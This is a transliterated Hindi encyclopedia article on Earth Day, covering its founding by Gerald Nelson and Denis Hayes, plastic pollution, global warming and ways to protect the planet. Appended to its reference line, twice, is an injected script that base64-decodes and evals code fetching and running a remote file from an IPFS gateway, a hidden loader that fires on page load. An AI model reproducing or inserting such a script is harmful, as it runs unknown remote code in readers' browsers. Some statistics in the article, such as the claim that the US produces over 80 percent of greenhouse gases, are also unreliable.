पृथ्वी दिवस

	prithvi divas
	prithvi\|200px\|center
vivaran	prithvi ke paryavaran ke bare mean prashansa aur jagarookata ko prerit karane ke lie prithvi divas manaya jata hai.
tithi	22 aprॅl
shuruat	pahali bar sanh 1970 mean manaya gaya.
uddeshy	logoan ko paryavaran ke prati sanvedanashil banana
vishesh	vishv prithvi divas mahaz ek manane ka din nahian hai. is bat ke chiantan-manan ka din hai ki ham kaise apani vasuandhara ko bacha sakate haian.
sanbandhit lekh	vishv jal divas, vishv paryavaran divas, vishv ozon divas
any janakari	20vian shatabdi ke aranbh se hi prithvi ke tapaman mean badhottari ki shuruat ho gee thi. prithvi ke tapaman mean pichhale sau saloan mean 0.18 digri seantigred tapaman ki vriddhi ho chuki hai.

prithvi divas (aangrezi: Earth Day) poore vishv mean 22 aprॅl ko manaya jata hai. prithvi divas ko pahali bar sanh 1970 mean manaya gaya tha. isaka uddeshy logoan ko paryavaran ke prati sanvedanashil banana tha. prithvi par aksar uttari dhruv ki thos barf ka kee kilomitar tak pighalana, soory ki parabaiangani kiranoan ko prithvi tak ane se rokane vali ozon parat mean chhed hona, bhayankar toofan, sunami aur bhi kee prakritik apadaoan ka hona, jo bhi ho raha hai in sabake lie manushy hi zimmedar haian. global varmig ke roop mean jo aj hamare samane haian. ye apadaean prithvi par aise hi hoti rahian to vah din door nahian jab prithvi se jiv-jantu v vanaspati ka astiv hi samapt ho jaega. jiv-jantu aandhe ho jaeange. logoan ki tvacha jhulasane lagegi aur kaiansar rogiyoan ki sankhya badh jaegi. samudr ka jalastar badhane se tatavarti ilake chapet mean a jaeange.^[1]

itihas

prithvi ke paryavaran ke bare mean prashansa aur jagarookata ko prerit karane ke lie prithvi divas manaya jata hai. prithvi divas ki sthapana sanh 1970 mean ameriki sinetar jerald nelsan ke dvara ek paryavaran shiksha ke roop mean ki gayi, aur ise kee deshoan mean prativarsh manaya jata hai. prithvi divas ki tarikh uttari golarddh mean vasant rritu aur dakshini golarddh mean sharad rritu ka mausam hai. sanyukt rashtr mean prithvi divas ko har sal march ekvinoks (varsh ka vah samay jab din aur rat barabar hote haian) par manaya jata hai, yah din aksar 20 march ka din hota hai, yah ek parampara hai jisaki sthapana shaanti karyakarta j aaun makkonel ke dvara ki gayi thi.

sinetar jerald nelsan ki ghoshana

left|250px sietal, vashiangatan mean ek sammalen mean sitambar, 1969 mean viskoansin ke ameriki sinetar jerald nelsan dvara yah ghoshana ki gee ki 1970 ee. ki vasant rritu mean paryavaran par rashtravyapi jan sadharan pradarshan kiya jayega. paryavaran ko ek rashtriy ejeanda mean jo dane ke lie sinetar nelsan ne pahale rashtravyapi paryavaran virodh ki prastavana di.

eddi alabart

mashahoor film aur telivijan abhineta eddi alabart ne prithvi divas ke nirman mean ek mahattvapoorn bhoomika nibhayi. prithvi divas ke nirman ke lie alabart ne prathamik aur mahattvapoorn kary kiye, jise usane apane sampoorn karyakal ke dauran prabal samarthan diya, 1970 ke bad vishesh roop se ek riport ke anusar prithvi divas ko alabart ke janmadin 22 aprail ko manaya jane laga. ek srot ke anusar yah galat bhi ho sakata hai.^[1]

paristhitik dhvaj ka nirman

poore vishv ke dhvajoan ke anusar, kartoonist ron kobb ke dvara paristhitik dhvaj ka nirman kiya gaya. is dhvaj ko 7 navambar, 1969 ko los eanjeles phri pres mean prakashit kiya gaya, phir ise sarvajanik domen mean rakha gaya. yah pratik "E" v "O" aksharoan ke sanyojan se banaya gaya tha, jinhean kramashah "vatavaran" v "jiv" shabdoan se liya gaya tha. is dhvaj ka pratiroop sanyukt rajy ameriki dhvaj se liya gaya tha aur isamean ek ke bad ek terah hari aur safed dhariyaan thian. isaki keantan hari thi aur isamean pila thita tha. bad ke dhvajoan mean thita ka upayog aitihasik roop se ya to ek chetavani ke pratik ke roop mean ya shaanti ke pratik ke roop mean kiya gaya. thita bad mean prithvi divas se sambandhit ho gaya.

prithvi divas netavark ki sthapana

thumb|left|200px|prithvi divas prithvi divas netavark ki sthapana 1970 mean rashtriy aur aantarrashtriy star par paryavaran nagarikata aur sal bhar unnati ko badhava dene ke lie prithvi divas ke ayojakoan aur denis hayas ke dvara ki gayi thi. prithvi divas ke netavark ke madhyam se, karyakarta, rashtriy, sthaniy aur vaishvik nitiyoan mean parivartanoan ko apas mean jo d sakate haian. antarashtriy netavark 174 deshoan mean 17,000 sansthanoan tak pahuanch gaya hai, jabaki ghareloo karyakramoan mean 5,000 samooh aur 25,000 se adhik shikshak shamil haian, jo sal bhar kee miliyan samudayoan ke vikas aur paryavaran suraksha karyakartaoan ki madad karate haian.^[1]

denis hayas

denis hayas ko am vyakti ki tarah bachapan se prakriti se kafi lagav raha hai. lekin unake jivan ki ek ghatana ne unhean 'hiroan aauf d plenet' bana diya. unake ghar ke samane ek pepar mil hua karati thi. chimani se uthate kale dhuean se ve vichalit nahian hue. par jab unhean yah pata chala ki vrikshoan se unhean gahara lagav hai, unhean kagaz nirman mean jalana p data hai to isase ve kafi ahat hue. usake bad unhoanne prakriti ko kshati pahuanchane vale aise kamoan ka virodh karana shuroo kar diya. halaanki usi mil mean unake pita bhi karyarat the. paryavaran ke prati unaka lagav bahut gahara ho chuka tha. ve pradooshan ke khilaf l dane vale paryavaranavid hi nahian, balki aandolanakari ban chuke the. unaki batoan, bhashanoan mean itana dam tha ki bhi d ko ikattha karake kisi b di muhim ko aanjam de sakate the. unhoanne isaki shuruat apane hi k aaulej kaianpas se ki. takabarin 1000 stoodeants ke sath milakar harvard yoonivarsiti sthit hathiyar risarch laib ko samapt karane ka andolan chhe da.

prithvi divas ka ayojan

thumb|prithvi divas ke avasar bidies ianstitayoot mean vriksharopan is bat ki khabar jab ameriki sarakar ko lagi, to unhoanne unhean protsahan diya. isake bad unaki ziandagi hi badal gee. ameriki sarakar ne paryavaran muddoan par muhim chhe dane ke lie unhean apane yahaan bula liya. is samay tak denis k aaulej chho dakar raili ayojit karane aur paryavaran bachao muhim mean poore manoyog se jut ge. ameriki sinet ne unhean pahale prithvi divas ko sanyojit karane ke lie amantrit kiya. ullekhaniy hai ki pahali bar 22 aprail, 1970 ko manaya jane vala prithvi divas ek b da ayojan tha. ise vyapak janasamarthan mila. is aandolan ke romaanch ko varsh 2009 mean pradarshit hone vali film 'arth dej' mean bhi bayaan kiya gaya hai. apani kamayabi aur usaki jabaradast lokapriyata ko dekhakar hayas ka utsah doguna ho gaya. isase prerit hokar unhoanne arth de netavark ki sthapana ki. taqariban 180 deshoan mean isaka jal phaila hai. isake adhyaksh denis hayas hai. taim maiganij ne unaki pratibaddhata ko dekhakar unhean ek naya nam diya- 'hiro aauf d plenet'.^[1]

prithvi ka khota prakritik roop

pradooshit vatavaran ke karan prithvi apana prakritik roop khoti ja rahi hai. prithvi ke sauandary ko jagah-jagah p de koo de ke dher v betaratib phaile kachare ne nasht kar diya hai. paryavaran pradooshan ki samasya vishv mean badhati janasankhya tatha audyogikaran evan shaharikaran mean tezi se vriddhi ke sath-sath thos apashisht padarthoan dvara vikaral hoti ja rahi hai. thos apashisht padarthoan ke samuchit nipatan ke lie paryapt sthan ki avashyakata hoti hai. in padarthoan mean vriddhi ke nipatan ki samasya audyogik star par atyant vikasit deshoan ke lie hi nahian balki kee vikasashil deshoan ki bhi hai.

udaharan

nyooyark mean pratidin 2500 trak bhar ke barabar thos apashisht padarthoan ka utpadan hota hai, yahaan pratidin 25,000 tan thos kachara nikalata hai.

p aaulithin ka dushprabhav

paryavaran ko sabase adhik adhunik yug mean suvidhaoan ke vistar ne hi chot pahuanchaee hai. manushyoan ki suvidha ke lie banaee gayi p aaulithin sabase b da siradard ban gee hai. bhoomi ki urvarak kshamata ko yah nasht n hone ke karan khatm kar rahi hai. inako jalane se nikalane vala dhuaan ozon parat ko bhi nukasan pahuanchata hai jo global varmig ka b da karan hai. desh mean prativarsh lakhoan pashu-pakshi p aaulithin ke kachare se mar rahe haian. isase logoan mean kee prakar ki bimariyaan phail rahi haian. isase zamin ki urvara shakti nasht ho rahi hai tatha bhoogarbhiy jalasrot dooshit ho rahe haian. p aaulithin kachara jalane se karban daeeaauksaid, karban monoaauksaid evan daeeaauksins jaisi vishaili gaisean utsarjit hoti haian. inase saans, tvacha adi ki bimariyaan hone ki ashanka badh jati hai. left|250px p aaulithin ka istemal karake ham n sirph paryavaran ko nukasan pahuancha rahe haian, balki ganbhir rogoan ko bhi nyauta de rahe haian. p aaulithin ko aise hi pheank dene se naliyaan jam ho jati haian. isase ganda pani s dakoan par phailakar machchharoan ka ghar banata hai. is prakar yah kalara, taiphaid, dayariya v hepetaitis-bi jaisi ganbhir bimariyoan ka bhi karan banate haian.^[1]

bharat mean prativarsh p aaulithin ka upayog

bharat mean prativarsh lagabhag 500 mitrik tan p aaulithin ka nirman hota hai, lekin isake ek pratishat se bhi kam ki risaikiliang ho pati hai. yah anuman hai ki bhojan ke dhokhe mean inhean kha lene ke karan prativarsh 1,00,000 samudri jivoan ki maut ho jati hai. zamin mean ga d dene par p aaulithin ke thaile apane avayavoan mean tootane mean 1,000 sal se adhik le lete haian. yah poorn roop se to kabhi nasht hote hi nahian haian. jin p aaulithin ke thailoan par bayodigredebal likha hota hai, ve bhi poornataya ikophreandali nahian hote haian.

is samay vishv mean prativarsh plastik ka utpadan 10 karo d tan ke lagabhag hai aur isamean prativarsh use 4 pratishat ki vriddhi ho rahi hai.
bharat mean bhi plastik ka utpadan v upayog b di tezise badh raha hai. ausatan pratyek bharatiy ke pas prativarsh adha kilo plastik apashisht padarth ikattha ho jata hai. isaka adhikaansh bhag koo de ke dher par aur idhar-udhar bikhar kar paryavaran pradooshan phailata hai.
ek anuman ke anusar keval amerika mean hi ek karo d kilogram plastik pratyek varsh koo dedanoan mean pahuanchata hai.
itali mean plastik ke thailoan ki salana khapat ek kharab hai. itali aj sarvadhik plastik utpadak deshoan mean se ek hai.

chitr:Blockquote-open.gif ham sabhi jo ki is svachchh shyamala dhara ke rahavasi haian unaka yah dayitv hai ki duniya mean qadam rakhane se lekar akhiri saans tak ham par pyar lutane vali is dhara ko bachae rakhane ke lie jo bhi kar sakean karean, kyoanki yah vahi dharati hai jo hamare bad bhi hamari nishaniyoan ko apane sine se lagakar rakhegi. lekin yah tabhi sanbhav hoga jab vah hari-bhari tatha pradooshan se mukt rahe aur use yah upahar ap hi de sakate haian. chitr:Blockquote-close.gif

global varmiang

250px|right prithvi ke ausat tapaman mean vriddhi hi global varmiang kahalata hai. 20vian shatabdi ke aranbh se hi prithvi ke tapaman mean badhottari ki shuruat ho gee thi. prithvi ke tapaman mean pichhale sau saloan mean 0.18 digri seantigred tapaman ki vriddhi ho chuki hai. vaijnanikoan ka manana hai ki yadi dharati ka tapaman isi tarah badhata raha, to 21vian sadi ke aant tak 1.1-6.4 digri seantigred tapaman badh jaega.^[1]

grin haus gaisej

hamari prithvi par kee aise kemikal kampauand pae jate haian, jo tapaman ko santulit karate haian. ye grin haus gaisej kahalate haian. ye prakritik aur mainamed dono hote haian. jaise- vatar vepar, mithen, karban daeeaauksaid, naitras aauksaid adi. soory ki kiranean prithvi par p dati haian, to inamean se kuchh kiranean (ianphrared rej) vapas laut jati haian. grin haus gaisean in kiranoan ko sokh leti haian aur vatavaran mean hit badhati haian. grin haus gais ki matra sthir rahati hai, to soory se prithvi par pahuanchane vali kiranean aur prithvi se vapas spes mean pahuanchane vali kiranoan mean santulan bana rahata hai, jisase tapaman bhi sthir rahata hai. doosari or, ham logoan (manav) dvara nirmit grin haus gais asantulan paida kar dete haian, jisaka asar prithvi ke tapaman par padata hai. yahi grin haus prabhav kahalata hai. dashakoan poorv prithvi ke tapaman ko sthir rakhane ke lie kam shuroo ho gaya tha. lekin manav nirmit grin haus gaisoan ke utpadan mean kami lane ke lie disanbar, 1997 mean kyoto protokol laya gaya. isake tahat 160 se adhik deshoan ne yah svikar kiya ki unake desh mean grin haus gaisoan ke prodakshan mean kami laee jaegi. yah ashchary ki bat hai ki 80 pratishat se adhik grin haus gais ka utpadan karane vale amerika ne ab tak is protokol ko nahian mana hai.^[1]

mausam ki aniyamitata

samast manav jati dharati par ho rahe jalavayu parivartan ke lie zimmedar hai. samajik sarokaroan ko suvidhabhogi jivan shaili mean pichhe chho d diya hai. ham vikas ke sopan jaise-jaise chadh rahe haian, prithvi par ne-ne khatare utpann ho rahe haian. pratidin ghatati hariyali v badhata paryavaran pradooshan nee samasyaoan ko janm de raha hai. is karan prakriti ka mausam chakr bhi aniyamit ho gaya hai. kisi bhi rritu ka koee nishchit samay nahian rah gaya hai. har varsh tapaman mean ho rahi vriddhi se barish ki matra kam ho rahi hai. is karan bhoo-jalastar mean bhari kami aee hai. pratyek manushy ko ekajut hokar prithvi ko bachane ke upay karane hoange. isamean prashasan, samajik sangathan, skool, k aaulej sahit sabhi ko bhagidari nibhani hogi. 250px|left

bachane ke upay

bazar jate samay sath mean kap de ka thaila, joot ka thaila ya basket le jani chahie.
ham pratyek saptah kitane p aaulithin thailoan ka istemal karate haian, isaka hisab rakhean aur is sankhya ko kam se kam adha karane ka lakshy banaean.
yadi p aaulithin thaile ke istemal ke alava koee aur vikalp n bache to ek saman ko ek p aaulithin thaile mean rakhane ke sthan par kee saman ek hi thaile mean rakhane ki koshish karean.
ghar par p aaulithin thailoan ka kafi upayog kiya jata hai. jaise lanch paik karana, kap de rakhana ya koee any ghareloo saman rakhana, inamean se kuchh ko kam karane ka prayas kare.
p aaulithin ke thailoan se jitana bach sakate haian bachean. p aaulithin ke thailoan ko ek bar istemal kar pheankane ke sthan par unaka pun: prayog karane ka prayas kare.
sthaniy akhabaroan mean chitthiya likhakar, skool mean postar ke dvara ya prajeanteshan se is masale par jagarukata phailane ka kam karean.
bachchoan ko protsahit karean ki ve apane purane khilaune tatha gems aise chhote bachchoan ko de dean jo ki isaka upayog kar sakate haian. ek tarah se yah risaikliang prakriya hi hogi kyoanki ek to apake ghar ki samagri nasht hone se bach jaegi, doosare jise vah milegi use bahar se paryavaran ke lie nukasanadayak samagri kharidani nahian p degi. isase bachchoan mean tyag ki bhavana bhi balavati hogi. keval bachchoan hi nahian b de log bhi apane kap de, ilektr aaunik saman tatha pustakean bheant kar sakate haian.

prithvi divas chiantan-manan ka din

vishv prithvi divas mahaz ek manane ka din nahian hai. is bat ke chiantan-manan ka din hai ki ham kaise apani vasuandhara ko bacha sakate haian. dharati ko bachane mean aise kee tariqe haian jise ham akele aur samoohik roop se apanakar yogadan de sakate haian. har din ko prithvi divas manakar usake sanrakshan ke lie kuchh n kuchh karate rahana chahie, lekin apani vyastata mean vyast iansan yadi vishv prithvi divas ke din hi tho़ da bahut yogadan de to dharati ke rrin ko utara ja sakata hai. ham sabhi jo ki is svachchh shyamala dhara ke rahavasi haian unaka yah dayitv hai ki duniya mean qadam rakhane se lekar akhiri saans tak ham par pyar lutane vali is dhara ko bachae rakhane ke lie jo bhi kar sakean karean, kyoanki yah vahi dharati hai jo hamare bad bhi hamari nishaniyoan ko apane sine se lagakar rakhegi. lekin yah tabhi sanbhav hoga jab vah hari-bhari tatha pradooshan se mukt rahe aur use yah upahar ap hi de sakate haian.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 ^1.3 ^1.4 ^1.5 ^1.6 ^1.7 soni, kamal. vishv prithvi divas par vishesh (hindi) (ech ti em el) abhivyakti. abhigaman tithi: 22 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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[.E0.A4.85.E0.A4.AD.E0.A4.BF.E0.A4.B5.E0.A5.8D.E0.A4.AF.E0.A4.95.E0.A5.8D.E0.A4.A4.E0.A4.BF-1] 1.0 ^1.1 ^1.2 ^1.3 ^1.4 ^1.5 ^1.6 ^1.7 soni, kamal. vishv prithvi divas par vishesh (hindi) (ech ti em el) abhivyakti. abhigaman tithi: 22 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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